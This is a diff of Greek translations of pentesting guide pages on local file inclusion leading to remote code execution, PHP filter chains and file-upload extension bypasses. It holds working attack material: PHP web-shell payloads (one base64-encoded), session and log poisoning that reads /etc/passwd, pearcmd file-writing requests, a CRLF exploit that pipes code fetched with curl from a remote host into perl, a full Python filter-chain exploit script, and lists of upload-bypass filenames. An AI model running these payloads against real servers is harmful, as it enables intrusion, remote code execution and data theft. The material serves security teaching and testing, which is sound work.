http://example.com/index.php?page=path/to/uploaded/file.png
|
||||||
```
|
```
|
||||||
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να ενσωματωθεί στα μεταδεδομένα των εικόνων/doc/pdf
|
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να εγχύσετε στα μεταδεδομένα των εικόνων/doc/pdf
|
||||||
|
|
||||||
### Μέσω ZIP file upload
|
### Μέσω μεταφόρτωσης αρχείου ZIP
|
||||||
|
|
||||||
Ανεβάστε ένα ZIP αρχείο που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:
|
Μεταφορτώστε ένα ZIP αρχείο που περιέχει ένα συμπιεσμένο PHP shell και προσπελάστε:
|
||||||
```python
|
```python
|
||||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||||
```
|
```
|
||||||
@ -545,24 +554,24 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
|||||||
```
|
```
|
||||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||||
```
|
```
|
||||||
Χρησιμοποίησε το LFI για να συμπεριλάβεις το PHP session file
|
Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο session του PHP.
|
||||||
```
|
```
|
||||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||||
```
|
```
|
||||||
### Μέσω ssh
|
### Μέσω ssh
|
||||||
|
|
||||||
Αν το ssh είναι ενεργό, ελέγξτε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπαθήστε να αποκτήσετε πρόσβαση στο **\<HOME>/.ssh/id_rsa**
|
Αν το ssh είναι ενεργό, έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να αποκτήσεις πρόσβαση στο **\<HOME>/.ssh/id_rsa**
|
||||||
|
|
||||||
### **Μέσω** **vsftpd** _**logs**_
|
### **Μέσω** **vsftpd** _**αρχεία καταγραφής**_
|
||||||
|
|
||||||
Τα logs του FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στην περίπτωση όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να θεωρηθούν οι ακόλουθες ενέργειες:
|
Τα αρχεία καταγραφής για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε εκτεθειμένο vsftpd server, μπορούν να ληφθούν υπόψη τα εξής βήματα:
|
||||||
|
|
||||||
1. Εισάγετε ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
|
1. Εισήγαγε ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
|
||||||
2. Μετά την έγχυση, χρησιμοποιήστε το LFI για να ανακτήσετε τα server logs από _**/var/log/vsftpd.log**_.
|
2. Μετά την έγχυση, χρησιμοποίησε το LFI για να ανακτήσεις τα αρχεία καταγραφής του server από _**/var/log/vsftpd.log**_.
|
||||||
|
|
||||||
### Μέσω php base64 filter (using base64)
|
### Μέσω php base64 filter (using base64)
|
||||||
|
|
||||||
Όπως φαίνεται στο [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) άρθρο, το PHP base64 filter αγνοεί τους μη-base64 χαρακτήρες. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο επέκτασης αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ ένα παράδειγμα payload:
|
Όπως φαίνεται σε [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) άρθρο, το PHP base64 filter απλώς αγνοεί μη-base64. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο επέκτασης αρχείου: αν δώσεις base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload:
|
||||||
```url
|
```url
|
||||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||||
|
|
||||||
@ -570,7 +579,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||||||
```
|
```
|
||||||
### Μέσω php filters (δεν απαιτείται αρχείο)
|
### Μέσω php filters (δεν απαιτείται αρχείο)
|
||||||
|
|
||||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Το οποίο ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειαστεί να το γράψετε** σε αρχείο.
|
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε τα **php filters για να παράγετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **παράγετε αυθαίρετο php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -579,16 +588,16 @@ lfi2rce-via-php-filters.md
|
|||||||
|
|
||||||
### Μέσω segmentation fault
|
### Μέσω segmentation fault
|
||||||
|
|
||||||
**Μεταφορτώστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
|
**Upload** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στο **ίδιο αίτημα,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-segmentation-fault.md
|
lfi2rce-via-segmentation-fault.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Μέσω Nginx αποθήκευσης προσωρινών αρχείων
|
### Μέσω Nginx temp file storage
|
||||||
|
|
||||||
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
|
Αν εντοπίσατε ένα **Local File Inclusion** και **Nginx** τρέχει μπροστά από PHP, μπορεί να καταφέρετε να αποκτήσετε RCE με την εξής τεχνική:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -597,7 +606,7 @@ lfi2rce-via-nginx-temp-files.md
|
|||||||
|
|
||||||
### Μέσω PHP_SESSION_UPLOAD_PROGRESS
|
### Μέσω PHP_SESSION_UPLOAD_PROGRESS
|
||||||
|
|
||||||
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
|
Αν έχετε βρει ένα **Local File Inclusion** ακόμη και αν **δεν έχετε session** και `session.auto_start` είναι `Off`. Αν παρέχετε την **`PHP_SESSION_UPLOAD_PROGRESS`** στα δεδομένα **multipart POST**, το PHP θα **ενεργοποιήσει το session για εσάς**. Μπορείτε να καταχραστείτε αυτό για να αποκτήσετε RCE:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -606,7 +615,7 @@ via-php_session_upload_progress.md
|
|||||||
|
|
||||||
### Μέσω temp file uploads σε Windows
|
### Μέσω temp file uploads σε Windows
|
||||||
|
|
||||||
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
|
Αν εντοπίσατε ένα **Local File Inclusion** και ο server τρέχει σε **Windows**, ίσως αποκτήσετε RCE:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -615,13 +624,13 @@ lfi2rce-via-temp-file-uploads.md
|
|||||||
|
|
||||||
### Μέσω `pearcmd.php` + URL args
|
### Μέσω `pearcmd.php` + URL args
|
||||||
|
|
||||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το script `/usr/local/lib/phppearcmd.php` υπάρχει εξ ορισμού σε php docker images. Επιπλέον, είναι δυνατό να περάσετε arguments στο script μέσω του URL επειδή αναφέρεται ότι αν ένα URL param δεν έχει `=`, θα χρησιμοποιηθεί ως argument. Δείτε επίσης το [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) και το [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||||
|
|
||||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
Το παρακάτω request δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο `<?=phpinfo()?>`:
|
||||||
```bash
|
```bash
|
||||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||||
```
|
```
|
||||||
Το ακόλουθο εκμεταλλεύεται μια CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
Το παρακάτω εκμεταλλεύεται μια CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||||
```
|
```
|
||||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||||
@ -630,7 +639,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
|||||||
```
|
```
|
||||||
### Μέσω phpinfo() (file_uploads = on)
|
### Μέσω phpinfo() (file_uploads = on)
|
||||||
|
|
||||||
Εάν βρήκατε μια **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on, μπορείτε να αποκτήσετε RCE:
|
Αν βρείτε ένα **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on, μπορείτε να αποκτήσετε RCE:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -639,7 +648,7 @@ lfi2rce-via-phpinfo.md
|
|||||||
|
|
||||||
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||||
|
|
||||||
Εάν βρήκατε μια **Local File Inclusion** και μπορείτε να **exfiltrate the path** του προσωρινού αρχείου ΑΛΛΑ ο **server** ελέγχει αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να δοκιμάσετε να **bypass that check** με αυτή την **Race Condition**:
|
Αν βρείτε ένα **Local File Inclusion** και **can exfiltrate the path** του προσωρινού αρχείου ΑΛΛΑ ο **server** ελέγχει αν το **file to be included has PHP marks**, μπορείτε να προσπαθήσετε να **bypass that check** με αυτή την **Race Condition**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -648,7 +657,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
|||||||
|
|
||||||
### Μέσω eternal waiting + bruteforce
|
### Μέσω eternal waiting + bruteforce
|
||||||
|
|
||||||
Εάν μπορείτε να εκμεταλλευτείτε το LFI για να **upload temporary files** και να κάνετε τον **server** να **hang** την εκτέλεση του PHP, θα μπορούσατε στη συνέχεια να **brute force filenames during hours** για να βρείτε το προσωρινό αρχείο:
|
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **upload temporary files** και να κάνετε τον server να **hang** την εκτέλεση PHP, τότε μπορείτε να **brute force filenames during hours** για να βρείτε το προσωρινό αρχείο:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -657,14 +666,14 @@ lfi2rce-via-eternal-waiting.md
|
|||||||
|
|
||||||
### Σε Fatal Error
|
### Σε Fatal Error
|
||||||
|
|
||||||
Αν συμπεριλάβετε κάποιο από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο μία 2 φορές για να προκαλέσετε αυτό το σφάλμα).
|
Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο one 2 time για να προκαλέσετε αυτό το σφάλμα).
|
||||||
|
|
||||||
**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά μπορεί να είναι.**\
|
**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά ίσως να είναι.**\
|
||||||
_Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα PHP προσωρινά αρχεία που ανέβηκαν διαγράφονται._
|
_Ακόμα κι αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία που ανέβηκαν διαγράφονται._
|
||||||
|
|
||||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## References
|
## Αναφορές
|
||||||
|
|
||||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||||
|
@ -5,36 +5,36 @@
|
|||||||
|
|
||||||
## Εισαγωγή
|
## Εισαγωγή
|
||||||
|
|
||||||
Αυτή η [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο.
|
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο.
|
||||||
|
|
||||||
Ο στόχος του script είναι να **δημιουργήσει μια Base64** συμβολοσειρά στην **αρχή** του αρχείου που θα **αποκωδικοποιηθεί στο τέλος**, παρέχοντας το επιθυμητό payload το οποίο θα **ερμηνευτεί από το `include`**.
|
Ο στόχος του script είναι να **δημιουργήσει ένα Base64** string στην **αρχή** του αρχείου που θα **αποκωδικοποιηθεί τελικά**, παρέχοντας το επιθυμητό payload που θα **ερμηνευτεί από `include`**.
|
||||||
|
|
||||||
Οι βάσεις για αυτό είναι:
|
Οι βάσεις για να το κάνετε αυτό είναι:
|
||||||
|
|
||||||
- `convert.iconv.UTF8.CSISO2022KR` θα πάντα προσθέτει `\x1b$)C` στην αρχή της συμβολοσειράς
|
- `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
|
||||||
- `convert.base64-decode` είναι εξαιρετικά ανεκτικό, ουσιαστικά θα αγνοήσει οποιουςδήποτε χαρακτήρες που δεν είναι έγκυροι base64. Δίνει κάποια προβλήματα αν βρει απροσδόκητο "=", αλλά αυτά μπορούν να αφαιρεθούν με το φίλτρο `convert.iconv.UTF8.UTF7`.
|
- `convert.base64-decode` είναι εξαιρετικά ανεκτικό, ουσιαστικά θα αγνοήσει οποιονδήποτε χαρακτήρα που δεν είναι έγκυρος base64. Προκαλεί κάποια προβλήματα αν βρει απρόσμενο "=" αλλά αυτά μπορούν να αφαιρεθούν με το φίλτρο `convert.iconv.UTF8.UTF7`.
|
||||||
|
|
||||||
Ο βρόχος για να δημιουργήσεις arbitrary περιεχόμενο είναι:
|
Ο βρόχος για να δημιουργηθεί arbitrary περιεχόμενο είναι:
|
||||||
|
|
||||||
1. προσθέτεις `\x1b$)C` στην αρχή της συμβολοσειράς όπως περιγράφηκε παραπάνω
|
1. prepend `\x1b$)C` to our string as described above
|
||||||
2. εφαρμόζεις μια αλυσίδα iconv conversions που αφήνει το αρχικό base64 ανέπαφο και μετατρέπει το μέρος που μόλις προσθέσαμε σε μια συμβολοσειρά όπου ο μόνος έγκυρος χαρακτήρας base64 είναι το επόμενο κομμάτι του base64-encoded php κώδικα
|
2. apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code
|
||||||
3. base64-decode και base64-encode τη συμβολοσειρά, πράγμα που θα αφαιρέσει τυχόν σκουπίδια ανάμεσά τους
|
3. base64-decode and base64-encode the string which will remove any garbage in between
|
||||||
4. επανέρχεσαι στο 1 αν το base64 που θέλεις να κατασκευάσεις δεν έχει ολοκληρωθεί ακόμα
|
4. Go back to 1 if the base64 we want to construct isn't finished yet
|
||||||
5. base64-decode για να πάρεις τον php κώδικα
|
5. base64-decode to get our php code
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **Includes** συνήθως κάνουν πράγματα όπως **το να προσθέτουν ".php" στο τέλος** του αρχείου, κάτι που μπορεί να δυσκολέψει την εκμετάλλευση γιατί θα χρειαστεί να βρείς ένα .php αρχείο με περιεχόμενο που δεν θα καταστρέψει το exploit... ή **μπορείς απλά να χρησιμοποιήσεις `php://temp` ως resource** επειδή μπορεί **να έχει οτιδήποτε προσαρτημένο στο όνομα** (lie +".php") και αυτό θα εξακολουθήσει να επιτρέπει στο exploit να λειτουργήσει!
|
> **Includes** συνήθως κάνουν πράγματα όπως **προσθήκη ".php" στο τέλος** του αρχείου, κάτι που μπορεί να δυσχεράνει την εκμετάλλευση γιατί θα χρειαστεί να βρείτε ένα .php αρχείο με περιεχόμενο που δεν καταστρέφει το exploit... ή **μπορείτε απλά να χρησιμοποιήσετε `php://temp` ως resource** επειδή μπορεί να **έχει οτιδήποτε προσαρτημένο στο όνομα** (π.χ. +".php") και παρ' όλα αυτά θα επιτρέψει στο exploit να λειτουργήσει!
|
||||||
|
|
||||||
## Πώς να προσθέσεις επίσης suffixes στο τελικό αποτέλεσμα
|
## Πώς να προσθέσετε επίσης καταλήξεις στα παραγόμενα δεδομένα
|
||||||
|
|
||||||
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) πώς μπορείς ακόμα να κακομεταχειριστείς PHP filters για να προσθέσεις suffixes στη τελική συμβολοσειρά. Αυτό είναι χρήσιμο σε περίπτωση που χρειάζεσαι το output να έχει κάποιο συγκεκριμένο format (όπως json ή ίσως να προσθέσεις κάποια PNG magic bytes)
|
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) πώς μπορείτε ακόμα να καταχραστείτε PHP filters για να προσθέσετε καταλήξεις στο τελικό string. Αυτό είναι χρήσιμο αν χρειάζεστε η έξοδος να έχει συγκεκριμένο format (όπως json ή ίσως προσθήκη κάποιων PNG magic bytes)
|
||||||
|
|
||||||
## Αυτόματα εργαλεία
|
## Αυτόματα Εργαλεία
|
||||||
|
|
||||||
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
|
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
|
||||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
|
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(μπορεί να προσθέσει καταλήξεις)**
|
||||||
|
|
||||||
## Full script
|
## Πλήρες script
|
||||||
```python
|
```python
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
@ -96,7 +96,7 @@ print(r.text)
|
|||||||
```
|
```
|
||||||
### Βελτιώσεις
|
### Βελτιώσεις
|
||||||
|
|
||||||
Το προηγούμενο script περιορίζεται στους χαρακτήρες base64 που χρειάζονται για εκείνο το payload. Επομένως, δημιούργησα το δικό μου script για να **bruteforce όλους τους χαρακτήρες base64**:
|
Το προηγούμενο script περιορίζεται στους χαρακτήρες base64 που χρειάζονται για εκείνο το payload. Επομένως, δημιούργησα το δικό μου script για να **bruteforce all the base64 characters**:
|
||||||
```php
|
```php
|
||||||
conversions = {
|
conversions = {
|
||||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||||
@ -165,7 +165,7 @@ conversions = {
|
|||||||
'=': ''
|
'=': ''
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Εδώ είναι το **script** για να πάρετε τις κωδικοποιήσεις που δημιουργούν κάθε γράμμα b64:
|
Εδώ είναι το **script** για να πάρεις κωδικοποιήσεις που παράγουν κάθε γράμμα b64:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
|
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
# Μεταφόρτωση Αρχείων
|
# Ανέβασμα Αρχείων
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Γενική Μεθοδολογία Μεταφόρτωσης Αρχείων
|
## Γενική Μεθοδολογία για Ανέβασμα Αρχείων
|
||||||
|
|
||||||
Άλλες χρήσιμες επεκτάσεις:
|
Άλλες χρήσιμες επεκτάσεις:
|
||||||
|
|
||||||
@ -15,13 +15,13 @@
|
|||||||
- **Perl**: _.pl, .cgi_
|
- **Perl**: _.pl, .cgi_
|
||||||
- **Erlang Yaws Web Server**: _.yaws_
|
- **Erlang Yaws Web Server**: _.yaws_
|
||||||
|
|
||||||
### Bypass file extensions checks
|
### Παράκαμψη ελέγχων επεκτάσεων αρχείων
|
||||||
|
|
||||||
1. Εάν εφαρμόζεται, **ελέγξτε** τις **παραπάνω επεκτάσεις.** Δοκιμάστε τις επίσης χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
1. Αν εφαρμόζονται, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε τις επίσης με μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
||||||
2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
|
2. _Ελέγξτε **την προσθήκη μιας έγκυρης επέκτασης πριν** την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.Php5_
|
- _file.png.Php5_
|
||||||
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για **bruteforce** σε όλους τους χαρακτήρες **ascii** και **Unicode**. (_Σημείωση ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερθείσες **επεκτάσεις**_)
|
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερθείσες **επεκτάσεις**_)
|
||||||
- _file.php%20_
|
- _file.php%20_
|
||||||
- _file.php%0a_
|
- _file.php%0a_
|
||||||
- _file.php%00_
|
- _file.php%00_
|
||||||
@ -31,7 +31,7 @@
|
|||||||
- _file._
|
- _file._
|
||||||
- _file.php...._
|
- _file.php...._
|
||||||
- _file.pHp5...._
|
- _file.pHp5...._
|
||||||
4. Προσπαθήστε να παρακάμψετε τους μηχανισμούς προστασίας **ξεγελώντας τον extension parser** στο server-side με τεχνικές όπως **doubling** της **επέκτασης** ή **προσθήκη junk** δεδομένων (**null** bytes) ανάμεσα στις επεκτάσεις. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε ένα καλύτερο payload._
|
4. Προσπαθήστε να παρακάμψετε τις προστασίες **ξεγελώντας τον parser των επεκτάσεων** στην πλευρά του server με τεχνικές όπως **doubling** της **επέκτασης** ή **προσθήκη junk** δεδομένων (**null** bytes) ανάμεσα σε επεκτάσεις. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να φτιάξετε καλύτερο payload._
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.pHp5_
|
- _file.png.pHp5_
|
||||||
- _file.php#.png_
|
- _file.php#.png_
|
||||||
@ -40,13 +40,13 @@
|
|||||||
- _file.php%0a.png_
|
- _file.php%0a.png_
|
||||||
- _file.php%0d%0a.png_
|
- _file.php%0d%0a.png_
|
||||||
- _file.phpJunk123png_
|
- _file.phpJunk123png_
|
||||||
5. Προσθέστε **άλλο ένα επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο:
|
5. Προσθέστε **άλλο ένα στρώμα επεκτάσεων** στον προηγούμενο έλεγχο:
|
||||||
- _file.png.jpg.php_
|
- _file.png.jpg.php_
|
||||||
- _file.php%00.png%00.jpg_
|
- _file.php%00.png%00.jpg_
|
||||||
6. Δοκιμάστε να βάλετε την **εκτελέσιμη επέκταση πριν** από την έγκυρη επέκταση και ελπίζετε ότι ο server είναι misconfigured. (χρήσιμο για εκμετάλλευση misconfigurations σε Apache όπου οτιδήποτε με επέκταση **.php**, αλλά **δεν χρειάζεται απαραίτητα να τελειώνει σε .php**, θα εκτελέσει κώδικα):
|
6. Προσπαθήστε να βάλετε την **εκτελέσιμη επέκταση πριν** από την έγκυρη επέκταση και ελπίζετε ότι ο server είναι κακώς ρυθμισμένος. (χρήσιμο για εκμετάλλευση λανθασμένων ρυθμίσεων Apache όπου οτιδήποτε με επέκταση **.php**, αλλά **δεν τελειώνει απαραίτητα σε .php**, θα εκτελέσει κώδικα):
|
||||||
- _ex: file.php.png_
|
- _ex: file.php.png_
|
||||||
